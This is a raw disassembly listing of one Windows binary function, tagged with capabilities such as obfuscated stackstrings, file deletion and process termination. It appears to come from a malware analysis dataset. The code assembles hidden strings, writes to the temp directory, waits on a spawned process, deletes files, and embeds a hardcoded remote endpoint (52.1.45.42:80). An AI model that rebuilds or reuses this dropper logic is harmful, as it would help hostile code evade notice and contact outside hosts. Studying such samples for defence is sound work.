Function at 0x403086
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete file
Get common file path
Get file attributes
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d93d
mov eax, dword fs:[0]
push eax
mov eax, 0x17e4
call fcn.00419e30
mov eax, dword [0x427494]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
and dword [ebp - 0x16f4], 0
call fcn.0040902b
mov dword [ebp - 0x16f8], eax
mov dword [eax], eax
mov eax, dword [ebp - 0x16f8]
mov dword [eax + 4], eax
mov eax, dword [ebp - 0x16f8]
mov dword [eax + 8], eax
mov eax, dword [ebp - 0x16f8]
xor ebx, ebx
inc ebx
mov byte [eax + 0x44], bl
mov eax, dword [ebp - 0x16f8]
mov byte [eax + 0x45], bl
and dword [ebp - 4], 0
lea eax, [ebp - 0x16fc]
push eax
call fcn.00408a10
lea eax, [ebp - 0xf60]
push eax
mov dword [ebp - 4], 9
call fcn.00402327
pop ecx
mov dword [ebp - 0x169c], eax
lea eax, [ebp - 0xf28]
push eax
mov byte [ebp - 4], 0xa
call fcn.00402515
pop ecx
mov dword [ebp - 0x16a0], eax
lea eax, [ebp - 0x11c8]
push eax
mov byte [ebp - 4], 0xb
call fcn.004025b1
pop ecx
mov dword [ebp - 0x16b0], eax
lea eax, [ebp - 0x1190]
push eax
mov byte [ebp - 4], 0xc
call fcn.0040235b
pop ecx
mov dword [ebp - 0x16a4], eax
lea eax, [ebp - 0x1158]
push eax
mov byte [ebp - 4], 0xd
call fcn.004024c7
pop ecx
mov dword [ebp - 0x16c8], eax
lea eax, [ebp - 0x1120]
push eax
mov byte [ebp - 4], 0xe
call fcn.004023c3
pop ecx
mov dword [ebp - 0x16cc], eax
lea eax, [ebp - 0xef0]
push eax
mov byte [ebp - 4], 0xf
call fcn.0040242b
pop ecx
mov dword [ebp - 0x16c4], eax
lea eax, [ebp - 0xeb8]
push eax
mov byte [ebp - 4], 0x10
call fcn.00402549
pop ecx
mov dword [ebp - 0x16bc], eax
lea eax, [ebp - 0xe80]
push eax
mov byte [ebp - 4], 0x11
call fcn.00402375
pop ecx
mov dword [ebp - 0x16b4], eax
lea eax, [ebp - 0xd84]
push eax
mov byte [ebp - 4], 0x12
call fcn.00402375
pop ecx
mov dword [ebp - 0x16ac], eax
lea eax, [ebp - 0xe48]
push eax
mov byte [ebp - 4], 0x13
call fcn.00402479
pop ecx
mov dword [ebp - 0x16a8], eax
lea eax, [ebp - 0xda0]
push eax
mov byte [ebp - 4], 0x14
call fcn.0040238f
pop ecx
mov dword [ebp - 0x16b8], eax
lea eax, [ebp - 0xe2c]
push eax
mov byte [ebp - 4], 0x15
call fcn.00402327
pop ecx
mov dword [ebp - 0x16d0], eax
lea eax, [ebp - 0xf7c]
push eax
mov byte [ebp - 4], 0x16
call fcn.004023a9
pop ecx
mov dword [ebp - 0x16d4], eax
lea eax, [ebp - 0x1024]
push eax
mov byte [ebp - 4], 0x17
call fcn.004024e1
pop ecx
mov dword [ebp - 0x16e8], eax
lea eax, [ebp - 0xf44]
push eax
mov byte [ebp - 4], 0x18
call fcn.00402445
pop ecx
mov dword [ebp - 0x16dc], eax
lea eax, [ebp - 0x10cc]
push eax
mov byte [ebp - 4], 0x19
call fcn.0040235b
pop ecx
mov dword [ebp - 0x16ec], eax
lea eax, [ebp - 0xf0c]
push eax
mov byte [ebp - 4], 0x1a
call fcn.004024ad
pop ecx
mov dword [ebp - 0x16e4], eax
lea eax, [ebp - 0xd68]
push eax
mov byte [ebp - 4], 0x1b
call fcn.004023dd
pop ecx
mov esi, eax
lea eax, [ebp - 0xfec]
push eax
mov byte [ebp - 4], 0x1c
call fcn.00402341
pop ecx
mov dword [ebp - 0x16e0], eax
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0xed4]
push eax
call fcn.004023a9
pop ecx
mov dword [ebp - 0x1700], eax
lea eax, [ebp - 0x105c]
push eax
mov byte [ebp - 4], 0x1e
call fcn.00402633
pop ecx
mov dword [ebp - 0x16c0], eax
lea eax, [ebp - 0xe10]
push eax
mov byte [ebp - 4], 0x1f
call fcn.0040242b
pop ecx
mov dword [ebp - 0x16d8], eax
lea eax, [ebp - 0xdd8]
push eax
mov byte [ebp - 4], 0x20
call fcn.00402549
pop ecx
mov edi, eax
lea eax, [ebp - 0xdbc]
push eax
mov byte [ebp - 4], 0x21
call fcn.00402493
pop ecx
push eax
push 0x4220f4
lea eax, [ebp - 0xfb4]
mov byte [ebp - 4], 0x22
call fcn.00407f71
mov ecx, eax
mov eax, edi
lea edi, [ebp - 0xe64]
mov byte [ebp - 4], 0x23
call fcn.00407e12
mov ecx, eax
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x16d8]
lea edi, [ebp - 0x12e0]
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16c0]
lea edi, [ebp - 0x12a8]
mov byte [ebp - 4], 0x25
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x1700]
lea edi, [ebp - 0x1270]
mov byte [ebp - 4], 0x26
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16e0]
lea edi, [ebp - 0x1238]
mov byte [ebp - 4], 0x27
call fcn.00407e12
mov ecx, eax
mov eax, esi
lea edi, [ebp - 0x1200]
mov byte [ebp - 4], 0x28
call fcn.00407e12
mov esi, 0x4220f0
push esi
push eax
lea eax, [ebp - 0x128c]
mov byte [ebp - 4], 0x29
call fcn.00407e5c
mov ecx, eax
mov eax, dword [ebp - 0x16e4]
lea edi, [ebp - 0x1334]
mov byte [ebp - 4], 0x2a
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16ec]
lea edi, [ebp - 0x1254]
mov byte [ebp - 4], 0x2b
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16dc]
lea edi, [ebp - 0x13dc]
mov byte [ebp - 4], 0x2c
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16e8]
lea edi, [ebp - 0x121c]
mov byte [ebp - 4], 0x2d
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16d4]
lea edi, [ebp - 0x12fc]
mov byte [ebp - 4], 0x2e
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16d0]
lea edi, [ebp - 0x11e4]
mov byte [ebp - 4], 0x2f
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16b8]
lea edi, [ebp - 0x136c]
mov byte [ebp - 4], 0x30
call fcn.00407e12
push esi
push eax
lea eax, [ebp - 0x11ac]
mov byte [ebp - 4], 0x31
call fcn.00407e5c
mov ecx, eax
mov eax, dword [ebp - 0x16a8]
lea edi, [ebp - 0x12c4]
mov byte [ebp - 4], 0x32
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16ac]
lea edi, [ebp - 0x1174]
mov byte [ebp - 4], 0x33
call fcn.00407e12
mov esi, 0x4220ec
push esi
push eax
lea eax, [ebp - 0x13a4]
mov byte [ebp - 4], 0x34
call fcn.00407e5c
mov ecx, eax
mov eax, dword [ebp - 0x16b4]
lea edi, [ebp - 0x113c]
mov byte [ebp - 4], 0x35
call fcn.00407e12
push esi
push eax
lea eax, [ebp - 0x13c0]
mov byte [ebp - 4], 0x36
call fcn.00407e5c
mov ecx, eax
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x16bc]
lea edi, [ebp - 0x1350]
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16c4]
lea edi, [ebp - 0x1318]
mov byte [ebp - 4], 0x38
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16cc]
lea edi, [ebp - 0x13f8]
mov byte [ebp - 4], 0x39
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16c8]
lea edi, [ebp - 0x1104]
mov byte [ebp - 4], 0x3a
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16a4]
lea edi, [ebp - 0xdf4]
mov byte [ebp - 4], 0x3b
call fcn.00407e12
push 0x4220b4
push eax
lea eax, [ebp - 0xca4]
mov byte [ebp - 4], 0x3c
call fcn.00407e5c
add esp, 0x30
mov ecx, eax
mov eax, dword [ebp - 0x16b0]
lea edi, [ebp - 0xcdc]
mov byte [ebp - 4], 0x3d
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16a0]
lea edi, [ebp - 0xd30]
mov byte [ebp - 4], 0x3e
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x169c]
lea edi, [ebp - 0xe9c]
mov byte [ebp - 4], 0x3f
call fcn.00407e12
push ebx
xor edi, edi
lea esi, [ebp - 0xd30]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcdc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xca4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdf4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1104]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x13f8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1318]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1350]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x13c0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x113c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x13a4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1174]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x12c4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x11ac]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x136c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x11e4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x12fc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x121c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x13dc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1254]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1334]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x128c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1200]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1238]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1270]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x12a8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x12e0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe64]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfb4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdbc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdd8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe10]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x105c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xed4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfec]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd68]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf0c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10cc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf44]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1024]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf7c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe2c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xda0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe48]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd84]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe80]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xeb8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xef0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1120]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1158]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1190]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x11c8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf28]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf60]
mov byte [ebp - 4], 0x76
call fcn.004017e3
lea eax, [ebp - 0xe9c]
push eax
lea eax, [ebp - 0xc88]
push eax
call fcn.004094cd
pop ecx
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc6c]
mov byte [ebp - 4], 0x77
call fcn.00401055
mov ebx, eax
lea eax, [ebp - 0xe9c]
mov byte [ebp - 4], 0x78
call fcn.004015fd
xor ebx, ebx
inc ebx
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc88]
mov byte [ebp - 4], 0x76
call fcn.004017e3
push str.installer
lea eax, [ebp - 0xc88]
call fcn.004014cb
push str.file
lea eax, [ebp - 0xc6c]
mov byte [ebp - 4], 0x79
call fcn.004014cb
lea eax, [ebp - 0xc6c]
push eax
lea edx, [ebp - 0xc88]
lea ecx, [ebp - 0x16fc]
mov byte [ebp - 4], 0x7a
call fcn.00408f33
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc88]
mov byte [ebp - 4], 0x76
call fcn.004017e3
push 0x42211c
lea eax, [ebp - 0xc88]
call fcn.004014cb
mov byte [ebp - 4], 0x7b
push 0x42116c
lea eax, [ebp - 0xc6c]
call fcn.004014cb
lea eax, [ebp - 0xc6c]
push eax
lea edx, [ebp - 0xc88]
lea ecx, [ebp - 0x16fc]
mov byte [ebp - 4], 0x7c
call fcn.00408f33
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc88]
mov byte [ebp - 4], 0x76
call fcn.004017e3
push 0x422120
lea eax, [ebp - 0xc88]
call fcn.004014cb
push str.domain
lea eax, [ebp - 0xc6c]
mov byte [ebp - 4], 0x7d
call fcn.004014cb
lea eax, [ebp - 0xc6c]
push eax
lea edx, [ebp - 0xc88]
lea ecx, [ebp - 0x16fc]
mov byte [ebp - 4], 0x7e
call fcn.00408f33
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc88]
mov byte [ebp - 4], 0x76
call fcn.004017e3
push str.52.1.45.42:80
lea eax, [ebp - 0xc88]
call fcn.004014cb
push 0x422164
lea eax, [ebp - 0xc6c]
mov byte [ebp - 4], 0x7f
call fcn.004014cb
lea eax, [ebp - 0xc6c]
push eax
lea edx, [ebp - 0xc88]
lea ecx, [ebp - 0x16fc]
mov byte [ebp - 4], 0x80
call fcn.00408f33
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc88]
mov byte [ebp - 4], 0x76
call fcn.004017e3
push 0x42121c
lea eax, [ebp - 0xc88]
call fcn.004014cb
push str.event
lea eax, [ebp - 0xc6c]
mov byte [ebp - 4], 0x81
call fcn.004014cb
lea eax, [ebp - 0xc6c]
push eax
lea edx, [ebp - 0xc88]
lea ecx, [ebp - 0x16fc]
mov byte [ebp - 4], 0x82
call fcn.00408f33
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
mov byte [ebp - 4], 0x76
push ebx
lea esi, [ebp - 0xc88]
call fcn.004017e3
lea edx, [ebp - 0xc6c]
lea ecx, [ebp - 0x16fc]
call fcn.00408e0d
push edi
push eax
or eax, 0xffffffff
lea esi, [ebp - 0xe9c]
mov byte [ebp - 4], 0x83
call fcn.00407bcc
push ebx
lea esi, [ebp - 0xc6c]
mov byte [ebp - 4], 0x76
call fcn.004017e3
lea eax, [ebp - 0xc50]
push eax
call fcn.004095ee
test eax, eax
je 0x405233
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0xc50]
push eax
call fcn.00409ec0
test eax, eax
je 0x405233
lea eax, [ebp - 0xcc0]
push eax
call fcn.00402549
pop ecx
mov esi, eax
lea eax, [ebp - 0xcf8]
push eax
mov byte [ebp - 4], 0x84
call fcn.004023a9
pop ecx
mov dword [ebp - 0x16a0], eax
lea eax, [ebp - 0x1094]
push eax
mov byte [ebp - 4], 0x85
call fcn.004025e5
pop ecx
mov dword [ebp - 0x169c], eax
lea eax, [ebp - 0x10e8]
push eax
mov byte [ebp - 4], 0x86
call fcn.00402633
pop ecx
mov edi, eax
lea eax, [ebp - 0x10b0]
push eax
mov byte [ebp - 4], 0x87
call fcn.00402597
pop ecx
push eax
push 0x421250
lea eax, [ebp - 0x1078]
mov byte [ebp - 4], 0x88
call fcn.00407f71
mov ecx, eax
mov eax, edi
lea edi, [ebp - 0x1040]
mov byte [ebp - 4], 0x89
call fcn.00407e12
push 0x42124c
push eax
lea eax, [ebp - 0x1008]
mov byte [ebp - 4], 0x8a
call fcn.00407e5c
add esp, 0x10
mov ecx, eax
mov eax, dword [ebp - 0x169c]
lea edi, [ebp - 0xfd0]
mov byte [ebp - 4], 0x8b
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16a0]
lea edi, [ebp - 0xf98]
mov byte [ebp - 4], 0x8c
call fcn.00407e12
mov ecx, eax
mov eax, esi
lea edi, [ebp - 0xd4c]
mov byte [ebp - 4], 0x8d
call fcn.00407e12
push ebx
xor edi, edi
lea esi, [ebp - 0xf98]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfd0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1008]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1040]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1078]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10b0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10e8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1094]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcf8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcc0]
mov byte [ebp - 4], 0x98
call fcn.004017e3
lea eax, [ebp - 0xd4c]
push eax
lea eax, [ebp - 0xf60]
push eax
call fcn.004094cd
pop ecx
pop ecx
mov ebx, eax
lea eax, [ebp - 0xd4c]
mov byte [ebp - 4], 0x99
call fcn.004015fd
push 1
lea esi, [ebp - 0xf60]
mov byte [ebp - 4], 0x98
call fcn.004017e3
lea edx, [ebp - 0xd4c]
lea ecx, [ebp - 0xf28]
call fcn.00401055
mov ebx, eax
lea eax, [ebp - 0xd4c]
mov byte [ebp - 4], 0x9a
call fcn.004015fd
xor ebx, ebx
inc ebx
push ebx
lea esi, [ebp - 0xf28]
mov byte [ebp - 4], 0x98
call fcn.004017e3
cmp dword [ebp - 0xd38], 8
mov eax, dword [ebp - 0xd4c]
jae 0x403cc7
lea eax, [ebp - 0xd4c]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1120]
push eax
call fcn.00402549
pop ecx
mov esi, eax
lea eax, [ebp - 0x1158]
push eax
mov byte [ebp - 4], 0x9b
call fcn.004023a9
pop ecx
mov dword [ebp - 0x169c], eax
lea eax, [ebp - 0x1190]
push eax
mov byte [ebp - 4], 0x9c
call fcn.004023dd
pop ecx
mov edi, eax
lea eax, [ebp - 0x11c8]
push eax
mov byte [ebp - 4], 0x9d
call fcn.00402493
pop ecx
mov ecx, eax
mov eax, edi
lea edi, [ebp - 0xf28]
mov byte [ebp - 4], 0x9e
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x169c]
lea edi, [ebp - 0xf60]
mov byte [ebp - 4], 0x9f
call fcn.00407e12
mov ecx, eax
mov eax, esi
lea edi, [ebp - 0xd14]
mov byte [ebp - 4], 0xa0
call fcn.00407e12
push ebx
xor edi, edi
lea esi, [ebp - 0xf60]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf28]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x11c8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1190]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1158]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1120]
mov byte [ebp - 4], 0xa7
call fcn.004017e3
lea eax, [ebp - 0xd14]
push eax
lea eax, [ebp - 0xcc0]
push eax
call fcn.004094cd
pop ecx
pop ecx
mov ebx, eax
lea eax, [ebp - 0xd14]
mov byte [ebp - 4], 0xa8
call fcn.004015fd
push 1
lea esi, [ebp - 0xcc0]
mov byte [ebp - 4], 0xa7
call fcn.004017e3
lea edx, [ebp - 0xd14]
lea ecx, [ebp - 0xcf8]
call fcn.00401055
mov ebx, eax
lea eax, [ebp - 0xd14]
mov byte [ebp - 4], 0xa9
call fcn.004015fd
push 1
lea esi, [ebp - 0xcf8]
mov byte [ebp - 4], 0xa7
call fcn.004017e3
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x528]
push eax
call esi
cmp dword [ebp - 0xd00], 8
mov eax, dword [ebp - 0xd14]
jae 0x403e4d
lea eax, [ebp - 0xd14]
push eax
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x530]
push eax
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x17f0]
push eax
call fcn.00406f84
lea eax, [ebp - 0x17f0]
push eax
mov byte [ebp - 4], 0xaa
call fcn.00407fa2
pop ecx
lea eax, [ebp - 0x17ec]
call fcn.00407873
test eax, eax
jne 0x403ec9
mov eax, dword [ebp - 0x17f0]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0x17f0]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x403eb7
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x403ec9
push 0
call fcn.00402221
mov esi, 0x422090
lea eax, [ebp - 0xcf8]
push esi
push eax
lea ebx, [ebp - 0xe9c]
call fcn.004081a0
push esi
push eax
lea eax, [ebp - 0xcc0]
mov byte [ebp - 4], 0xab
call fcn.00407e5c
lea ecx, [ebp - 0x218]
push ecx
push eax
lea eax, [ebp - 0xc6c]
mov byte [ebp - 4], 0xac
call fcn.00407e5c
add esp, 0x18
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0xcc0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcf8]
mov byte [ebp - 4], 0xaf
call fcn.004017e3
push 4
pop esi
push 0x38
xor edi, edi
lea eax, [ebp - 0x173c]
push edi
push eax
dec esi
call fcn.0040e190
lea eax, [ebp - 0x528]
add esp, 0xc
cmp dword [ebp - 0xc58], 8
mov dword [ebp - 0x1730], eax
mov eax, dword [ebp - 0xc6c]
mov dword [ebp - 0x1740], 0x3c
mov dword [ebp - 0x173c], 0x40
mov dword [ebp - 0x1738], edi
mov dword [ebp - 0x1734], edi
jae 0x403f86
lea eax, [ebp - 0xc6c]
mov dword [ebp - 0x172c], eax
lea eax, [ebp - 0x1740]
push eax
mov dword [ebp - 0x1728], edi
mov dword [ebp - 0x1724], 5
mov dword [ebp - 0x1720], edi
call fcn.0040a92a
push 0xffffffffffffffff
push dword [ebp - 0x1708]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403fd6
cmp esi, edi
jge 0x403f30
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x422090
lea eax, [ebp - 0x218]
push eax
call esi
lea eax, [ebp - 0x16fc]
push eax
lea ecx, [ebp - 0xc88]
call fcn.00408c90
mov byte [ebp - 4], 0xb0
cmp dword [ebp - 0xc74], 8
mov eax, dword [ebp - 0xc88]
jae 0x404022
lea eax, [ebp - 0xc88]
push eax
lea eax, [ebp - 0xa48]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov word [ebp - 0x842], ax
lea eax, [ebp - 0xa48]
push eax
lea eax, [ebp - 0x218]
push eax
call esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x630]
push eax
call fcn.0040f2ec
add esp, 0xc
lea eax, [ebp - 0x738]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4051d8
lea eax, [ebp - 0x630]
push eax
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x44
pop esi
push esi
lea eax, [ebp - 0x1748]
push edi
push eax
call fcn.0040e190
add esp, 0xc
push 0x10
lea eax, [ebp - 0xde8]
push edi
push eax
mov dword [ebp - 0x1748], esi
call fcn.0040e190
lea eax, [ebp - 0xdbc]
add esp, 0xc
push eax
call fcn.00402327
pop ecx
mov esi, eax
lea eax, [ebp - 0xdd8]
push eax
mov byte [ebp - 4], 0xb1
call fcn.004025e5
pop ecx
mov dword [ebp - 0x16b8], eax
lea eax, [ebp - 0xe10]
push eax
mov byte [ebp - 4], 0xb2
call fcn.00402479
pop ecx
mov dword [ebp - 0x16a8], eax
lea eax, [ebp - 0x105c]
push eax
mov byte [ebp - 4], 0xb3
call fcn.00402341
pop ecx
mov dword [ebp - 0x16ac], eax
lea eax, [ebp - 0xed4]
push eax
mov byte [ebp - 4], 0xb4
call fcn.004023a9
pop ecx
mov dword [ebp - 0x16b4], eax
lea eax, [ebp - 0xfec]
push eax
mov byte [ebp - 4], 0xb5
call fcn.004025e5
pop ecx
mov dword [ebp - 0x16bc], eax
lea eax, [ebp - 0xd68]
push eax
mov byte [ebp - 4], 0xb6
call fcn.004023f7
pop ecx
mov dword [ebp - 0x16c4], eax
lea eax, [ebp - 0xf0c]
push eax
mov byte [ebp - 4], 0xb7
call fcn.00402563
pop ecx
mov dword [ebp - 0x16cc], eax
lea eax, [ebp - 0x10cc]
push eax
mov byte [ebp - 4], 0xb8
call fcn.00402493
pop ecx
mov dword [ebp - 0x16c8], eax
lea eax, [ebp - 0xf44]
push eax
mov byte [ebp - 4], 0xb9
call fcn.0040252f
pop ecx
mov dword [ebp - 0x16a4], eax
lea eax, [ebp - 0x1024]
push eax
mov byte [ebp - 4], 0xba
call fcn.00402411
pop ecx
mov dword [ebp - 0x16b0], eax
lea eax, [ebp - 0xf7c]
push eax
mov byte [ebp - 4], 0xbb
call fcn.00402633
pop ecx
mov dword [ebp - 0x16a0], eax
lea eax, [ebp - 0xe2c]
push eax
mov byte [ebp - 4], 0xbc
call fcn.004024fb
pop ecx
mov dword [ebp - 0x169c], eax
lea eax, [ebp - 0xda0]
push eax
mov byte [ebp - 4], 0xbd
call fcn.0040245f
pop ecx
mov edi, eax
lea eax, [ebp - 0xe48]
push eax
mov byte [ebp - 4], 0xbe
call fcn.004023f7
pop ecx
mov ecx, eax
mov eax, edi
lea edi, [ebp - 0xd84]
mov byte [ebp - 4], 0xbf
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x169c]
lea edi, [ebp - 0xe80]
mov byte [ebp - 4], 0xc0
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16a0]
lea edi, [ebp - 0xeb8]
mov byte [ebp - 4], 0xc1
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16b0]
lea edi, [ebp - 0xef0]
mov byte [ebp - 4], 0xc2
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16a4]
lea edi, [ebp - 0xf98]
mov byte [ebp - 4], 0xc3
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16c8]
lea edi, [ebp - 0xfd0]
mov byte [ebp - 4], 0xc4
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16cc]
mov byte [ebp - 4], 0xc5
lea edi, [ebp - 0x1008]
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16c4]
lea edi, [ebp - 0x1040]
mov byte [ebp - 4], 0xc6
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16bc]
lea edi, [ebp - 0x1078]
mov byte [ebp - 4], 0xc7
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16b4]
lea edi, [ebp - 0x10b0]
mov byte [ebp - 4], 0xc8
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16ac]
lea edi, [ebp - 0x10e8]
mov byte [ebp - 4], 0xc9
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16a8]
lea edi, [ebp - 0x1094]
mov byte [ebp - 4], 0xca
call fcn.00407e12
mov ecx, eax
mov eax, dword [ebp - 0x16b8]
lea edi, [ebp - 0xcf8]
mov byte [ebp - 4], 0xcb
call fcn.00407e12
push 0x42121c
push eax
lea eax, [ebp - 0xcc0]
mov byte [ebp - 4], 0xcc
call fcn.00407e5c
pop ecx
pop ecx
mov ecx, eax
mov eax, esi
lea edi, [ebp - 0xca4]
mov byte [ebp - 4], 0xcd
call fcn.00407e12
push ebx
xor edi, edi
lea esi, [ebp - 0xcc0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcf8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1094]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10e8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10b0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1078]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1040]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1008]
call fcn.004017e3
push ebx
